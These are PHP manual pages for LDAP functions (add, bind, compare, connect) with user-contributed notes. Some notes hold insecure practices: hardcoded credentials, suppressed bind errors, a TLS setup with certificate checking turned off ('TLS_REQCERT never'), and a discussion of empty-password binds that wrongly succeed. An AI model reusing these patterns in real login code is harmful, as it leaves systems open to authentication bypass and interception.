ldap_8859_to_t61 -- Translate 8859 characters to t61 characters

Description

string ldap_8859_to_t61 ( string value )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
ngallahe
19-May-2005 08:18
This is to convert standard (latin-8895) text to T.61 text. This is useful if you have to talk to a legacy LDAPv2 server, or have legacy LDAPv2 data, as the character set for those servers was the T.61 character set.
add a note add a note

后退 | 起点 | 前进
LDAP Functions | 上一级 | ldap_add


ldap_add

(PHP 3, PHP 4, PHP 5)

ldap_add -- Add entries to LDAP directory

Description

bool ldap_add ( resource link_identifier, string dn, array entry )

如果成功则返回 TRUE，失败则返回 FALSE。

The ldap_add() function is used to add entries in the LDAP directory. The DN of the entry to be added is specified by dn. Array entry specifies the information about the entry. The values in the entries are indexed by individual attributes. In case of multiple values for an attribute, they are indexed using integers starting with 0.

<?php
$entree["attribut1"] = "value";
$entree["attribut2"][0] = "value1";
$entree["attribut2"][1] = "value2";
?>

例子 1. Complete example with authenticated bind

<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r=ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

    // prepare data
    $info["cn"]="John Jones";
    $info["sn"]="Jones";
    $info["mail"]="jonj@example.com";
    $info["objectclass"]="person";

    // add data to directory
    $r=ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);

    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>

注: 本函数可安全用于二进制对象。

add a note add a note User Contributed Notes
chad dot smith at 50marketing dot com
30-Sep-2005 05:56
I took spam2004 at turniton dot dk example and made it a bit better.  Maybe my setup was a bit different but either way here is how I added a group in Microsoft Windows Server 2003.

<?php
// Connect using ldap_connect
// Bind using ldap_bind
// Set LDAP_OPT_PROTOCOL_VERSION to 3
$member_array = array();
$member_array[0] = "cn=user1,cn=Users,dc=yourdomain,dc=com";
$member_array[1] = "cn=administrator,cn=Users,dc=yourdomain,dc=com";

$addgroup_ad["cn"] = "testgroup";
$addgroup_ad["samaccountname"] = "testgroup";
$addgroup_ad["objectClass"] = "Group";
$addgroup_ad["description"] = "Yep just a test.";
$addgroup_ad["member"] = $member_array;
$base_dn = "cn=testgroup,cn=Users,DC=yourdomain,DC=com";
ldap_add($ldap_conn,$base_dn,$addgroup_ad);
// This is it.
?>

Take care and good luck,
Chad R. Smith
theiderich AT laweekly dot com
16-Jul-2005 01:19
When adding/editing attributes for a user, keep in mind that the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
micattack+phpnet at gmail dot com
02-May-2005 09:32
When getting the dreaded invalid syntax, it helps turning on debugging in ldap. Looking at /var/log/ldap, gets you things like

May  2 13:51:21 tux slapd[12985]: conn=4934 op=1 RESULT tag=105 err=21 text=phpgwtz: value #0 invalid per syntax
May  2 13:52:02 tux slapd[12697]: No objectClass for entry (uid=1, ou=adressen, dc=...
hp at syntomax dot com
29-Oct-2004 09:31
Another fun thing: ldap_add() doesn't like arrays with empty members: so
array (
     [cn] = "name"
     [key] = ""
     [anotherkey] = "value"
)
will yield a syntax error!

solve this with a simple peice of code:

foreach ($originalobject as $key => $value){
       if ($value != ""){
               $object[$key] = $value;
       }
}

where $originalobject is the uncecked array and $object is the one without empty members.
amcnabb
22-Oct-2004 05:37
Be careful with types.  PHP switches automatically between strings and numbers, but LDAP doesn't, and PHP will send whatever is most convenient for PHP, not LDAP, unless you specify a type.

If you inadvertently send a number as a string, you will get an error: "ldap_add(): Add: Invalid syntax in [filename] on line LINENUM."

Observe this example which makes an array to send to LDAP to create a POSIX group.  Note that $new_groupid, which is technically a string, must be typecast with (int).

         $new_ldap_group['cn'] = $groupname;
         $new_ldap_group['objectclass'][0] = 'posixgroup';
         $new_ldap_group['objectclass'][1] = 'top';
         $new_ldap_group['gidnumber'] = (int) $new_groupid;
spam2004 at turniton dot dk
04-Oct-2004 07:06
To add a group in Windows AD..
$object_name="testgroup2";
$members[]="CN=THU,ou=Users,dc=addomain,dc=domain,dc=dk";
$members[]="CN=testgroup2,ou=Groups,dc=addomain,dc=domain,dc=dk";
$addgroup_ad['cn']="$object_name";
$addgroup_ad['objectClass'][0] = "top";
$addgroup_ad['objectClass'][1] ="group";
$addgroup_ad['descripton']=$object_description;
$addgroup_ad['member']=$members;
$addgroup_ad["sAMAccountName"] =$object_name;

// notice param 2 (dn) will probably be different
$dn="cn=".$object_name.",ou=Groups,dc=addomain,dc=domain,dc=dk";
ldap_add($ldapc,$dn,$addgroup_ad);
ondrej dot duchon at t-systems dot cz
14-Jan-2004 10:49
IF you need use national characters (iso 8859-2,8 etc.) it's good way to use  ldap_set_option.
It was hard job to find where is a bug ;-))). I hope that helps somebody.

 ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ondrej dot duchon at t-systems dot cz
14-Jan-2004 08:58
jharnett at artschool dot com:
For active user in AD u must change "useraccountcontrol" to 512, 512 = enabled, 514 = disabled
Andrew (a.whyte at cqu.edu.au)
25-Sep-2003 10:49
In reference to the questions about Account Enabling, you can use the table found at Microsoft's Support site to help with these attributes.

You are correct that '2' is the Account Disabled flag, but there are others, which allow you to detect/set password force expiry and the like.

Hope this URL is usefull for that:

http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

Cheers.
John Van Atta
20-May-2003 09:52
In response to jharnett's question about accounts disabled by default from ldap_add, we have found a solution.

The attribute userAccountControl contains a value that includes whether the account is disabled or enabled. The default for us is 546; when we changed that to 544 the account became enabled. Changing whatever value is in userAccountControl by 2 seems to enable or disable the account.

The following code worked for us to create a new user with an enabled account:

$adduserAD["userAccountControl"] = "544";

We just added this element to the above example's array.
Axel D. (FRANCE)
05-Mar-2003 12:26
Try this script if you don't know how to add an user in the AD Win2K.
To have more informations about the attributes, open the adsiedit console in the Support Tools for Win2K.

$adduserAD["cn"][0] =
$adduserAD["instancetype"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["objectclass"][0] = "top";
$adduserAD["objectclass"][1] = "person";
$adduserAD["objectclass"][2] = "organizationalPerson";
$adduserAD["objectclass"][3] = "user";
$adduserAD["displayname"][0] =
$adduserAD["name"][0] =
$adduserAD["givenname"][0] =
$adduserAD["sn"][0] =
$adduserAD["company"][0] =
$adduserAD["department"][0] =
$adduserAD["title"][0] =
$adduserAD["description"][0] =
$adduserAD["mail"][0] =
$adduserAD["initials"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["userprincipalname"][0] =
$adduserAD["profilepath"][0] =
$adduserAD["manager"][0] = ***Use DistinguishedName***

if (!($ldap = ldap_connect("localhost"))) {
     die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, "user@pc.com", $password))) {
     die ("Could not bind to the LDAP account");
}
if (!(ldap_add($ldap, "CN=New User,OU=OU Users,DC=pc,DC=com", $adduserAD))){
     echo "There is a problem to create the account
     echo "Please contact your administrator !";
     exit;
}
ldap_unbind($ldap);
jharnett at artschool dot com
23-Oct-2002 05:43
For some wacky reason, when the new account is added using ldap_add(), the account is set to "inactive".
And from what I can see there is no modifiable attribute to "re-enable" that user. I suppose by default, if the specific flags are not set the default values are used. Anyone that has a fix for this, please post, I'm pulling out what little hair I have left.
del at babel dot com dot au
24-Jun-2002 12:55
If you need to add an attribute that is binary encoded (eg: userCertificate), then you need to add the ";binary" specification at the end of the field name.

eg:

$info["userCertificate;binary"] = $myBinaryCert;
$ldap_add ...

Del
titus dot stahl at experts4 dot com
30-Aug-2001 09:53
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
akohlsmith at mixdown dot org
13-Sep-1999 07:48
ldap_add() will only honour the $entry["attribute"][x]="value" *if there are multiple values for the attribute*.  If there is only one attribute value, it *MUST* be entered as $entry["attribute"]="value" or ldap_add() sets the value for the attribute to be "Array" instead of what you put into $entry["attribute"][0].

Here is a little routine I wrote up to do this automatically.  when you're parsing the input, just use multi_add():

function multi_add($attribute, $value)
{
 global $entry;                                // the LDAP entry you're gonna add

 if(isset($entry[$attribute]))
   if(is_array($entry[$attribute]))
     $entry[$attribute][count($entry[$attribute])] = $value;
   else
     {
     $tmp = $entry[$attribute];
     unset($entry[$attribute]);
     $entry[$attribute][0] = $tmp;
     $entry[$attribute][1] = $value;
     }
 else
   $entry[$attribute] = $value;
}

multi_add() checks to see if there is already a value for the attribute.  if not, it adds it as $entry[$attribute]=$value.  If there is already a value for the attribute, it converts the attribute to an array and adds the multiple values correctly.

How to use it:

switch($form_data_name)
     {
     case 'phone': multi_add("telephoneNumber", $form_data_value); break;
     case 'fax': multi_add("facsimileTelephoneNumber", $form_data_value); break;
     case 'email': multi_add("mail", $form_data_value); break;
     ...
     }

In the system I designed the form has pulldowns with names ctype1, ctype2, ctype3, etc. and the values are "fax, mail, phone...".  The actual contact data (phone number, fax, email, etc) is contact1, contact2, contact3, etc.  The user pulls down what the contact type is (phone, email) and then enters the data (number, address, etc.)

I use variable variables to fill the entry and skip blanks.  Makes for a very clean form entry system.  email me if you're interested in it, as I think I'm outgrowing the size of note allowed here.  :-)
add a note add a note

后退 | 起点 | 前进
ldap_8859_to_t61 | 上一级 | ldap_bind


ldap_bind

(PHP 3, PHP 4, PHP 5)

ldap_bind -- Bind to LDAP directory

Description

bool ldap_bind ( resource link_identifier [, string bind_rdn [, string bind_password]] )

Binds to the LDAP directory with specified RDN and password. 如果成功则返回 TRUE，失败则返回 FALSE。

ldap_bind() does a bind operation on the directory. bind_rdn and bind_password are optional. If not specified, anonymous bind is attempted.

例子 1. Using LDAP Bind

<?php

// using ldap bind
$ldaprdn  = 'uname';     // ldap rdn or dn
$ldappass = 'password';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...";
    } else {
        echo "LDAP bind failed...";
    }

}

?>

例子 2. Using LDAP Bind Anonymously

<?php

//using ldap bind anonymously

// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // binding anonymously
    $ldapbind = ldap_bind($ldapconn);

    if ($ldapbind) {
        echo "LDAP bind anonymous successful...";
    } else {
        echo "LDAP bind anonymous failed...";
    }

}

?>

add a note add a note User Contributed Notes
dedlfix
03-May-2006 03:36
It doesn't make much sense to let die() the script in case of an error, otherwise to ask if there were no errors before proceeding the script, as the official examples do.

better:

<?php
ldap_bind(...) or die(...);
do_something();
?>

or even better (die() is quick but dirty)

<?php
if (!ldap_bind(...)) {
  error();
} else {
  do_something();
}
?>
baroque at citromail dot hu
05-Nov-2005 05:18
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
   // bind with appropriate dn to give update access
   $r=ldap_bind($ds, $admin, $passwd);
   if(!$r) die("ldap_bind failed<br>");

   echo "ldap_bind success";
   ldap_close($ds);
} else {
   echo "Unable to connect to LDAP server";
}
?>
18-Oct-2005 02:47
When using Active Directory 2003 (possibly also 2000) you can't search anonymously so you have to bind with a (known) user and password. Or else you will get an Search operations error. I also can confirm that an empty password bind succeeds! So test for an empty password first!

Some excellent information is found here:
http://www.scit.wlv.ac.uk/~jphb/sst/php/extra/ldap.html
http://www.scit.wlv.ac.uk/~jphb/sst/basics/ldap.html
darkstar_ae at hotmail dot com
15-Sep-2005 03:03
This may be a security issue but after tinkering for hours with the below ldap auth function (edi01 at gmx dot at), I discovered that the ldap_bind function will return true if you enter a valid username AND a NULL value!

so if that function were to receive something like $username = 'someuser' and $password = '', it would return true. As long as it isn't a null value the function will work as expected. Might as well check if it is null or empty then.
get_your_gun at hotmail dot com
24-Aug-2005 02:33
Hey

I was trying this all day and final noticed that when you use bind and authenticate. The user name needs to be as follows for it to work. I am using PHP V 4.03 so this might be different now but here is what I used and the auth worked.

<?php
$ldaphost = "ldap.what.at.greatnet.com";
$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds)
{
   $username = "johndoe@what.at.greatnet.com";
   $upasswd = "pass";

   $ldapbind = ldap_bind($ds, $username, $upasswd);

   if ($ldapbind)
       {print "Congratulations! $username is authenticated.";}
   else
       {print "Nice try, kid. Better luck next time!";}
}

?>
edi01 at gmx dot at
05-Apr-2005 04:31
complete ldap authentication script:

function checkldapuser($username,$password,$ldap_server){
  if($connect=@ldap_connect($ldap_server)){ // if connected to ldap server

   if (ldap_set_option($connect, LDAP_OPT_PROTOCOL_VERSION, 3)) {
     echo "version 3<br>\n";
   } else {
     echo "version 2<br>\n";
   }
   echo "verification on '$ldap_server': ";

   // bind to ldap connection
   if(($bind=@ldap_bind($connect)) == false){
     print "bind:__FAILED__<br>\n";
     return false;
   }

   // search for user
   if (($res_id = ldap_search( $connect,
                               "dc=auto,dc=tuwien,dc=ac,dc=at",
                               "uid=$username")) == false) {
     print "failure: search in LDAP-tree failed<br>";
     return false;
   }

   if (ldap_count_entries($connect, $res_id) != 1) {
     print "failure: username $username found more than once<br>\n";
     return false;
   }

   if (( $entry_id = ldap_first_entry($connect, $res_id))== false) {
     print "failur: entry of searchresult couln't be fetched<br>\n";
     return false;
   }

   if (( $user_dn = ldap_get_dn($connect, $entry_id)) == false) {
     print "failure: user-dn coulnd't be fetched<br>\n";
     return false;
   }

   /* Authentifizierung des User */
   if (($link_id = ldap_bind($connect, $user_dn, $password)) == false) {
     print "failure: username, password didn't match: $user_dn<br>\n";
     return false;
   }

   return true;
   @ldap_close($connect);
  } else {                                  // no conection to ldap server
   echo "no connection to '$ldap_server'<br>\n";
  }

  echo "failed: ".ldap_error($connect)."<BR>\n";

  @ldap_close($connect);
  return(false);

}//end function checkldapuser

Here a sample for using this function:

if (checkldapuser('myuser', 'secretpassword', 'ldap://link.to.ldap')) {
  echo "ACCESS GRANTED\n";
} else {
  echo "ACCESS DENIED\n";
}
owen at delong dot com
24-Feb-2005 08:04
I am assuming that ldap_bind does a simple bind and that for other
types of bind, ldap_sasl_bind should be used.

Also, while the allow bind v2 solution will work with slapd, you really should
use ldap v3 if at all possible because of the security improvements and
better protocol definition.  LDAP v2 is largely deprecated at this point.

Hopefully the PHP default LDAP version will move to v3 soon.
phredbroughton at yahoo dot com
17-Feb-2005 03:27
As noted before with the password, I have found that if either  of the valuse for user or password are blank, or as in my case a typo resulted in a blank user as it was an undefined variable, the ldap_bind() will just perform an anonymous bind and return true!
Shouldn't this detect the presence of the additional values and return an error? At least if the user or password is passed. If they are both blank I'm not sure what it should do.
wkaiser at mpimf-heidelberg dot mpg dot de
25-Nov-2004 03:40
If you do not want to bind as unixadmin or *manager (i. e., for authentication on web applications), the following code could be useful:
<?php

$ldaphost = "ldap.yourdomain.com";

/*for a SSL secured ldap_connect()

$ldaphost = "ldap.yourdomain.com"; */

$ldapport = 389;

$ds = ldap_connect($ldaphost, $ldapport)
or die("Could not connect to $ldaphost");

if ($ds) {

$username = "some_user";
$upasswd = "secret";
$binddn = "uid=$username,ou=people,dc=yourdomain,dc=com";

$ldapbind = ldap_bind($ds, $binddn, $upasswd);

if ($ldapbind) {

print "Congratulations! $some_user is authenticated.";}

else {

print "Nice try, kid. Better luck next time!";}}

?>
jakob at grimstveit dot no
19-Oct-2004 11:33
As "john dot lewis at waldenweb dot com" correctly writes (and this is important to note and SHOULD be incorporated into the documentation as a warning - trying to bind with specific username and empty password will return TRUE.
kenn at pcintelligent dot com
14-Jun-2004 02:32
I want to point out that the line that reads

"$ldaprdn  = 'uname';"

is a bit confusing. You need to ensure that you use the entire rootdn. for instance. your code should look more like this...

<?php

// using ldap bind *** NOTE the uname *****
$ldaprdn  = 'cn=root,dc=testserver,dc=com';    // ldap rdn or dn
$ldappass = 'secret';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.testserver.com")
   or die("Could not connect to LDAP server.");

if (ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3)) {
   echo "Using LDAPv3";
} else {
   echo "Failed to set protocol version to 3";
}

if ($ldapconn) {

   // binding to ldap server
   $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

   // verify binding
   if ($ldapbind) {
       echo "LDAP bind successful...";
   } else {
       echo "LDAP bind failed...";
   }

}

?>
pete dot rowley at example dot com
01-Jan-2004 12:51
You should NOT attempt to bind with a made up password.  However small the chance, the chance remains that your code produces a valid password.  The correct behaviour is to test for an empty password, and if your application will only service authenticated users, not perform any more LDAP operations on behalf of the user - this also happens to be more efficient.
kokheng at jhs dot com dot sg
21-Nov-2002 05:01
OpenLdap 2.1.x libraries support both LDAPv2 and LDAPv3. The problem lies with the slapd, the ldap server bundled with OpenLDAP.  It's default supported version is LDAPv3. One can set the "allow bind_v2" in the slapd.conf file, with this configured, the PHP ldap_set_option() is not required.
elvisciousatrmci.net
28-Sep-2002 02:08
I ran into a problem where I was getting a protocol error when I tried to bind.  I was able to connect fine and ldap commands worked fine from the command line.

The problem turned out to be that openldap (v 2.1.5) was starting up in version 3 ldap mode, and php (4.2.3) expected it to be in version 2 mode.

To fix this use the ldap_set_option command to change the version that php expects.
naujocke at nospam dot abacusii dot com
07-May-2002 12:27
One useful item when trying to bind to Novell's NDS LDAP servers.

If you are using NDS 8 and attempt to bind it will work with a partail context.

As an example if you full context is cn=user.ou=sales.ou=division.o=company
and you use as your authentication context cn=user.o=company it will work.

But you will be required to supply the full context to authenticate to an eDirectory based LDAP setup. Such as Netware 6 or eDirectory 8.5 or greater.

Also when using the wildcard * symbol in your object class. If you are not careful it is possible to dump the entire contents of your NDS tree into an array.
tpiper at pinnacle dot couk
26-Feb-2002 11:19
An example to help you authenticate against M$ Exchange, rather than use anonymous mode...

you will need to create an NT domain member (I've called it ldapquery) and give it search permission in the LDAP protocol settings in Exchange.

then:
$ds=ldap_connect ("<exchange server>");
$r=@ldap_bind($ds,"cn=ldapquery, o=<your organisation>, c=<your country>, ","<the password for ldapquery account>");

we've tested this on Exchange 5.5SP3.
ral at royal dot net
22-Jul-2001 01:49
I'm using the following code to generate
'userPassword' for OpenLDAP 1.2.x using {ssha} method
(to encrypt {smd5} just change MHASH_SHA1 to MHASH_MD5)

  mt_srand((double) microtime()*1000000);
  $salt=mhash_keygen_s2k(MHASH_SHA1,$password,substr(pack("h*",md5(mt_rand())),0,8),4);
  $passsword="{ssha}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
ian-php at eiloart dot com
07-Jun-2001 08:16
You might also get the message "Inappropriate authentication" when your username/password pair is invalid.
gparamelle at ina dot fr
10-Nov-2000 10:00
if you use ldap_bind() to test an aurhentification, it will return something like "Warning: LDAP: Unable to bind to server: Invalid credentials in
test.php on line 50"
to avoid this use error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING)
or better solution :
@ldap_bind($ds, $dn, $password) ;
pelle at alma dot nu
04-Aug-2000 02:27
Regarding "invalid credentials",
according to the rfc
"Invalid credentials" is the LDAP
response code returned when password/username pair isnt correct.
john dot lewis at waldenweb dot com
15-Dec-1999 09:01
To get around the null password returns true on servers where anonymous access is allowed, try...

// get a connection
       $ldap=ldap_connect($ldapServer);
// check to see if we got one, if we did, proceed
       if($ldap)
       {
               if(!$passWord)
               {
       // generate a bogus password to pass if the user doesn't give us one
     // this gets around systems that are anonymous search enabled
                   $passWord = crypt(microtime());
               }

then do your ldap_bind to test authentication....
add a note add a note

后退 | 起点 | 前进
ldap_add | 上一级 | ldap_close


ldap_close

(PHP 3, PHP 4, PHP 5)

ldap_close -- 别名 ldap_unbind()

说明

本函数是该函数的别名： ldap_unbind().

add a note add a note User Contributed Notes
21-Jul-2001 02:15
<?php
$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
   $r=ldap_bind($ds,"cn=root, o=My Company, c=US", "secret");
   $info["cn"]="Roberto Celestino";
   $info["sn"]="Roberto";
   $info["mail"]="rcelestino@here.and.now";
   $info["objectclass"]="person";

   // add data to directory
   $r=ldap_add($ds, "cn=Celestino Roberto, o=Mi Compania, c=US", $info);
   //Close the link apointed by the identified $ds (get with ldap_connect)
   ldap_close($ds);

}
?>
add a note add a note

后退 | 起点 | 前进
ldap_bind | 上一级 | ldap_compare


ldap_compare

(PHP 4 >= 4.0.2, PHP 5)

ldap_compare -- Compare value of attribute found in entry specified with DN

Description

mixed ldap_compare ( resource link_identifier, string dn, string attribute, string value )

Returns TRUE if value matches otherwise returns FALSE. Returns -1 on error.

ldap_compare() is used to compare value of attribute to value of same attribute in LDAP directory entry specified with dn.

The following example demonstrates how to check whether or not given password matches the one defined in DN specified entry.

例子 1. Complete example of password check

<?php

$ds=ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {

    // bind
    if (ldap_bind($ds)) {

        // prepare data
        $dn = "cn=Matti Meikku, ou=My Unit, o=My Company, c=FI";
        $value = "secretpassword";
        $attr = "password";

        // compare value
        $r=ldap_compare($ds, $dn, $attr, $value);

        if ($r === -1) {
            echo "Error: " . ldap_error($ds);
        } elseif ($r === true) {
            echo "Password correct.";
        } elseif ($r === false) {
            echo "Wrong guess! Password incorrect.";
        }

    } else {
        echo "Unable to bind to LDAP server.";
    }

    ldap_close($ds);

} else {
    echo "Unable to connect to LDAP server.";
}
?>

警告

ldap_compare() can NOT be used to compare BINARY values!

注: This function was added in 4.0.2.

add a note add a note User Contributed Notes
oudejans at zeelandnet dot nl
11-Apr-2005 08:10
With PHP 4.3.* is Password no longer a valid attribute.. try to use userPassword
chuck+ldap at 2006 dot snew dot com
06-Aug-2004 01:08
Just a side note that this is not how you'd ever AUTHENTICATE someone, just an example code.

The common way to authenticate is to get the users name, use search and perhaps selection to the user to get her DN (single value) then attempt to BIND to the ldapserver using that dn and the offered password.  If it works, then it's the right password.

Note that the password offered MUST NOT BE EMPTY or many LDAPs will presume you meant to authenticate anonymously and it will succeed, leaving you thinking it's the right password.
Brian Kerhin &lt;kerhin at bigfoot dot com&gt;
31-Jan-2001 10:13
Not probably, will.  With PHP 4.0.4 and openldap 1.2.9 this little script, even with the correct attributes for the password does not do the job.  Would superb if it did!
334647 at swin dot edu dot au
26-Oct-2000 10:06
Interesting example. Apart from the fact that very few people would allow comaprisions of the password attribute for security reasons. The attribute name of "password" does not match the usual schemas.

The usual method of user id + password verification is to attempt to bind using the supplied credentials.

Ldap compare on password values will probably fail with ns directroy server and openldap v2+ becuase of server support for password hashing.
add a note add a note

后退 | 起点 | 前进
ldap_close | 上一级 | ldap_connect


ldap_connect

(PHP 3, PHP 4, PHP 5)

ldap_connect -- Connect to an LDAP server

Description

resource ldap_connect ( [string hostname [, int port]] )

Returns a positive LDAP link identifier on success, or FALSE on error. When OpenLDAP 2.x.x is used, ldap_connect() will always return a resource as it does not actually connect but just initializes the connecting parameters. The actual connect happens with the next calls to ldap_* funcs, usually with ldap_bind().

ldap_connect() establishes a connection to a LDAP server on a specified hostname and port. Both the arguments are optional. If no arguments are specified then the link identifier of the already opened link will be returned. If only hostname is specified, then the port defaults to 389.

If you are using OpenLDAP 2.x.x you can specify a URL instead of the hostname. To use LDAP with SSL, compile OpenLDAP 2.x.x with SSL support, configure PHP with SSL, and use ldaps://hostname/ as host parameter. The port parameter is not used when using URLs.

注: URL and SSL support were added in 4.0.4.

例子 1. Example of connecting to LDAP server.

<?php

// LDAP variables
$ldaphost = "ldap.example.com";  // your ldap servers
$ldapport = 389;                 // your ldap server's port number

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost, $ldapport)
          or die("Could not connect to $ldaphost");

?>

例子 2. Example of connecting securely to LDAP server.

<?php

// make sure your host is the correct one
// that you issued your secure certificate to
$ldaphost = "ldaps://ldap.example.com/";

// Connecting to LDAP
$ldapconn = ldap_connect($ldaphost)
          or die("Could not connect to {$ldaphost}");

?>

See also ldap_bind().

add a note add a note User Contributed Notes
baroque at citromail dot hu
05-Nov-2005 05:20
This code sample shows how to connect and bind to eDirectory in PHP using LDAP for Netware.

<?php

$server='137.65.138.159';
$admin='cn=admin,o=novell';
$passwd='novell';

$ds=ldap_connect($server);  // assuming the LDAP server is on this host

if ($ds) {
   // bind with appropriate dn to give update access
   $r=ldap_bind($ds, $admin, $passwd);
   if(!$r) die("ldap_bind failed<br>");

   echo "ldap_bind success";
   ldap_close($ds);
} else {
   echo "Unable to connect to LDAP server";
}
?>
Tony Brady
04-Nov-2005 06:53
I don't why but on my server I am not able to connect successfully to my LDAP server unless I use the IP address of the LDAP server, rather than the hostname. So this DOESN'T work:

<?php
  $ldapconn = ldap_connect('ldap.example.com');
?>

whereas this does work:

<?php
  $ip = gethostbyname('ldap.example.com');
  $ldapconn = ldap_connect($ip);
?>

Of course you don't know it hasn't worked until you try to bind to the server and query it.
Srivathsa M
23-Jun-2005 06:28
Using LDAP over SSL on NetWare:

1. Copy the server certificates to sys:/php5/cert directory. This location is configurable in php.ini file.

2. Use "ldaps://" prefix for host name argument or a value of 636 for port number argument in ldap_connect call.

For more details, visit, NetWare specific PHP documentation at http://developer.novell.com/ndk/doc/php/index.html
nigelf at esp dot co dot uk
26-Apr-2005 06:58
As mentioned above, openLDAP will always return a resource, even if the server name isn't valid.

If you then bind with errors suppressed (@ldap_bind) and it fails, it's not obvious what caused the failure (ie: connection or credentials).  As the bind doesn't return a resource you can't get the last error from ldap_error etc. either.

If you display just a message about login failure to the user they may get frustrated re-typing a valid username/password when it's the connection that's at fault.
blizzards at libero dot it
28-Sep-2004 06:23
To complete questions about how to connect to a LDAP ACTIVE DIRECTORY 2000/2003 server with SASL on port 636, you can refer to prevous notes, and the following directives:

A)Create CA certificates from AD;
B)Export in .pem (DER) format;
C)Install OPENSSL,CYRUS SASL,OPENLDAP,KERBEROS 5;
D)Copy exported AD ca cert into openssl certs dir on your unix system;
E)Reash with c_reash command;
F)Get a kerberos ticket form AD for your user;
G)Compile PHP with SSL and LDAP support;
H)Test with ldapsearch -D <binddn> -W -H ldaps://ad.secure.com:636 -x

If all works right, create your php script.

Note: For writing parameters to AD you need to renew ticket each 10 hours or less (AD default lifetime ticket), for reading pourpose you can maintain expired ticket.
When querying a windows 2000/2003 AD you MUST use only SASL and not TLS (non supported).
Andrew (a.whyte at cqu.edu.au)
29-Sep-2003 03:15
To be able to make modifications to Active Directory via the LDAP connector you must bind to the LDAP service over SSL. Otherwise Active Directory provides a mostly readonly connection. You cannot add objects or modify certain properties without LDAPS, e.g. passwords can only be changed using LDAPS connections to Active Directory.

Therefore, for those wishing to securely connect to Active Directory, from a Unix host using PHP+OpenLDAP+OpenSSL I spent some time getting this going myself, and came across a few gotcha's. Hope this proves fruitfull for others like me when you couldn't find answers out there.

Make sure you compile OpenLDAP with OpenSSL support, and that you compile PHP with OpenLDAP and OpenSSL.

This provides PHP with what it needs to make use of ldaps:// connections.

Configure OpenSSL:

Extract your Root CA certificate from Active Directory, this is achived through the use of Certificate Services, a startard component of Windows 2000 Server, but may not be installed by default, (The usual Add/Remove Software method will work here). I extracted this in Base64 not DER format.

Place the extracted CAcert into the certs folder for openssl. (e.g. /usr/local/ssl/certs) and setup the hashed symlinks. This is easily done by simply running:

  /usr/local/ssl/bin/c_rehash

Once this is done you can test it is worked by running:

  /usr/local/ssl/bin/openssl verify -verbose -CApath /usr/local/ssl/certs /tmp/exported_cacert.pem

(Should return: OK).

Configure OpenLDAP:

Add the following to your ldap.conf file.
(found as /usr/local/openldap/etc/openldap/ldap.conf)

  #--begin--

  # Instruct client to NOT request a server's cert.
  TLS_REQCERT never

  # Define location of CA Cert
  TLS_CACERT /usr/local/ssl/certs/AD_CA_CERT.pem
  TLS_CACERTDIR /usr/local/ssl/certs

  #--end--

You also need to place those same settings in a file within the Apache Web user homedir called .ldaprc

  e.g.:

  cp /usr/local/openldap/etc/openldap/ldap.conf ~www/.ldaprc )

You can then test that you're able to establish a LDAPS connection to Active Directory from the OpenLDAP command tools:

  /usr/local/openldap/bin/ldapsearch -H "ldaps://adserver.ad.com"

This should return some output in extended LDIF format and will indicate no matching objects, but it proves the connection works.

The name of the server you're connecting to is important. If they server name you specify in the "ldaps://" URI does not match the name of the server in it's certificate, it will complain like so:

  ldap_bind: Can't contact LDAP server (81)
       additional info: TLS: hostname does not match CN in peer certificate

Once you've gotten the ldapsearch tool working correctly PHP should work also.

One important gotcha however is that the Web user must be able to locate it's HOME folder. You must check that Apache is providing a HOME variable set to the Web users home directory, so that php can locate the .ldaprc file and the settings contained within. This may well be different between Unix variants but it is such a simple and stupid thing if you miss it and it causes you grief. Simply use a SetEnv directive in Apache's httpd.conf:

  SetEnv HOME /usr/local/www

With all that done, you can now code up a simple connect function:

  function connect_AD()
  {
   $ldap_server = "ldaps://adserver.ad.com" ;
   $ldap_user  = "CN=web service account,OU=Service Accounts,DC=ad,DC=com" ;
   $ldap_pass  = "password" ;

   $ad = ldap_connect($ldap_server) ;
   ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3) ;
   $bound = ldap_bind($ad, $ldap_user, $ldap_pass);

   return $ad ;
  }

Optionally you can avoid the URI style server string and use something like ldap_connect("adserver.ad.com", 636) ;  But work fine with Active Directory servers.

Hope this proves usefull.
avel at noc uoa gr
24-Jul-2002 10:05
